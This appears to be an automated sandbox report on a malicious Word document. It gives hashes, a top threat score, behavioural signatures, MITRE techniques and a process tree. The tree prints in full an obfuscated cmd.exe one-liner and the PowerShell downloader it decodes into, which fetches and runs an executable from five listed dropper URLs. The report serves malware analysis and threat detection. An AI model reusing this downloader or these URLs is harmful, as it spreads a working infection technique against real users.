04ae3026fc9502f115794757e29bef4a6ad6cf3047fb7b444b0ddbed9504c631

General

Target

04ae3026fc9502f115794757e29bef4a6ad6cf3047fb7b444b0ddbed9504c631.doc
Size

126KB
MD5

ffd7ed2ea278afe39daf3b7f6d4819d3
SHA1

e7245488c6048d3a4bb0c7a49cacc1f2145330fb
SHA256

04ae3026fc9502f115794757e29bef4a6ad6cf3047fb7b444b0ddbed9504c631
SHA512

59ea97a02a17c1fe21b30dae6ebe206798943f9a8b245686420e33ac2da46f647000a67e2208eb2f63e4f7a32a7c0c76de65312dd7f9895fc74776e31468c726

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://levifca.com/y0tYhnWQ

exe.dropper

http://mfpvision.com/yAkPNiSmm6

exe.dropper

http://haganelectronics.rubickdesigns.com/C96xSAAy2q

exe.dropper

http://catairdrones.com/sMQ0n8nNun

exe.dropper

http://radio312.com/mp0NHN4cHX

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2492	4092	cmd.exe	79

Blocklisted process makes network request 3 IoCs

flow	pid	Process
30	5012	powershell.exe
46	5012	powershell.exe
48	5012	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4092	WINWORD.EXE
4092	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5012	powershell.exe
5012	powershell.exe
3484	powershell.exe
3484	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	3484	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4092 wrote to memory of 2492	4092	WINWORD.EXE	83
PID 4092 wrote to memory of 2492	4092	WINWORD.EXE	83
PID 2492 wrote to memory of 5012	2492	cmd.exe	85
PID 2492 wrote to memory of 5012	2492	cmd.exe	85
PID 5012 wrote to memory of 3484	5012	powershell.exe	86
PID 5012 wrote to memory of 3484	5012	powershell.exe	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\04ae3026fc9502f115794757e29bef4a6ad6cf3047fb7b444b0ddbed9504c631.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4092
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /V:O/C"set lj=;'afd'=dww$}}{hctac}};kaerb;'boU'=OFK$;vWd$ metI-ekovnI{ )00008 eg- htgnel.)vWd$ metI-teG(( fI;'fBW'=fSP$;)vWd$ ,abU$(eliFdaolnwoD.dam${yrt{)tdB$ ni abU$(hcaerof;'exe.'+Ihv$+'\'+pmet:vne$=vWd$;'BLv'=zqo$;'391' = Ihv$;'UDL'=DqS$;)'@'(tilpS.'XHc4NHN0pm/moc.213oidar//:ptth@nuNn8n0QMs/moc.senordriatac//:ptth@q2yAASx69C/moc.sngisedkcibur.scinortcelenagah//:ptth@6mmSiNPkAy/moc.noisivpfm//:ptth@QWnhYt0y/moc.acfivel//:ptth'=tdB$;tneilCbeW.teN tcejbo-wen=dam$;'kaF'=zYv$ llehsrewop&&for /L %9 in (475;-1;0)do set Yfw=!Yfw!!lj:~%9,1!&&if %9==0 powershell "!Yfw:*Yfw!=!" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "powershell $vYz='Fak';$mad=new-object Net.WebClient;$Bdt='http://levifca.com/y0tYhnWQ@http://mfpvision.com/yAkPNiSmm6@http://haganelectronics.rubickdesigns.com/C96xSAAy2q@http://catairdrones.com/sMQ0n8nNun@http://radio312.com/mp0NHN4cHX'.Split('@');$SqD='LDU';$vhI = '193';$oqz='vLB';$dWv=$env:temp+'\'+$vhI+'.exe';foreach($Uba in $Bdt){try{$mad.DownloadFile($Uba, $dWv);$PSf='WBf';If ((Get-Item $dWv).length -ge 80000) {Invoke-Item $dWv;$KFO='Uob';break;}}catch{}}$wwd='dfa';"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" =Fak
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3484

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2f996b44e71bcf8e9d9bd5ef2a96a963

SHA1
61a10fcfb7bad1271f7132c7491982a916489af0

SHA256
78d612ffa268c2871faf8e656889f9ec6475890ff2763410dbf434a343ad9a0d

SHA512
84815d678a672aa99d4834fa4c0a42089bec36da593caabc337dc66180a8ebd0131e65fb68ba645d3d68e80a5e7808e0dcf5b0ff1cb2a46786d532b088b44515

Download Submit
memory/3484-143-0x00007FF9A02F0000-0x00007FF9A0DB1000-memory.dmp

Filesize
10.8MB

Download
memory/3484-142-0x00007FF9A02F0000-0x00007FF9A0DB1000-memory.dmp

Filesize
10.8MB

Download
memory/4092-134-0x00007FF98BBD0000-0x00007FF98BBE0000-memory.dmp

Filesize
64KB

Download
memory/4092-136-0x00007FF9897B0000-0x00007FF9897C0000-memory.dmp

Filesize
64KB

Download
memory/4092-135-0x00007FF9897B0000-0x00007FF9897C0000-memory.dmp

Filesize
64KB

Download
memory/4092-130-0x00007FF98BBD0000-0x00007FF98BBE0000-memory.dmp

Filesize
64KB

Download
memory/4092-133-0x00007FF98BBD0000-0x00007FF98BBE0000-memory.dmp

Filesize
64KB

Download
memory/4092-132-0x00007FF98BBD0000-0x00007FF98BBE0000-memory.dmp

Filesize
64KB

Download
memory/4092-131-0x00007FF98BBD0000-0x00007FF98BBE0000-memory.dmp

Filesize
64KB

Download
memory/5012-139-0x00000252DCDA0000-0x00000252DCDC2000-memory.dmp

Filesize
136KB

Download
memory/5012-141-0x00007FF9A02F0000-0x00007FF9A0DB1000-memory.dmp

Filesize
10.8MB

Download
memory/5012-144-0x00007FF9A02F0000-0x00007FF9A0DB1000-memory.dmp

Filesize
10.8MB

Download
memory/5012-147-0x00007FF9A02F0000-0x00007FF9A0DB1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads